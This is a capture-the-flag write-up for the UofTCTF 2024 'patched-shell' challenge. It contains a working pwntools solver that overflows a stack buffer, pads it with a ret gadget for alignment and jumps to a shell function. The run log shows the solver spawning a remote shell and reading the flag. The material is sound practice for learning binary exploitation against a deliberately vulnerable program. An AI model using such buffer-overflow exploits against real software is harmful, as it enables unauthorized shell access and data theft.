patched-shell [199 Solves]
Description
Okay, okay. So you were smart enough to do basic overflow huh...
Now try this challenge! I patched the shell function so it calls system instead of execve... so now your exploit shouldn't work! bwahahahahaha
Note: due to the copycat nature of this challenge, it suffers from the same bug that was in basic-overflow. see the cryptic message there for more information.
Author: drec
nc 34.134.173.142 5000Attachments: patched-shell
Short Solution
ret2win with extra ret instruction
Solution
Basic file checks
$ file patched-shell
patched-shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01a5881d2bccff210f4617e1ed4586e58b213ca1, for GNU/Linux 4.4.0, not stripped
$ checksec patched-shell
[*] '/root/ctf/UofTCTF_2024/pwn/patched-shell/patched-shell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
solver.py
SIGSEGV on movaps so pad extra ret instruction.
Ref: Beginners' guide
The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). ... (snip) ... movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
from pwn import *
context.log_level = "DEBUG"
context.terminal = ["tmux", "split-window", "-h"]
elf = ELF("./patched-shell", checksec=False)
rop = ROP(elf)
ret = rop.ret.address
def conn() -> pwnlib.tubes:
if args.REMOTE:
io = remote("34.134.173.142", 5000)
elif args.GDB:
gdbscript = """
c
"""
pty = process.PTY
io = gdb.debug([elf.path], gdbscript=gdbscript, stdin=pty, stdout=pty)
else:
pty = process.PTY
io = elf.process(stdin=pty, stdout=pty)
return io
def main():
payload = b"A" * cyclic_find("saaa")
payload += p64(ret) + p64(elf.sym["shell"])
io = conn()
io.sendline(payload)
io.interactive("")
if __name__ == "__main__":
main()
Result:
$ python3 solver.py REMOTE
[*] Loaded 5 cached gadgets for './patched-shell'
[+] Opening connection to 34.134.173.142 on port 5000: Done
[DEBUG] Sent 0x59 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 41 41 41 41 41 41 41 41 1a 10 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000050 36 11 40 00 00 00 00 00 0a │6·@·│····│·│
00000059
[*] Switching to interactive mode
ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x9 bytes:
b'flag\n'
b'run\n'
flag
run
cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x24 bytes:
b'uoftctf{patched_the_wrong_function}\n'
uoftctf{patched_the_wrong_function}
Flag
uoftctf{patched_the_wrong_function}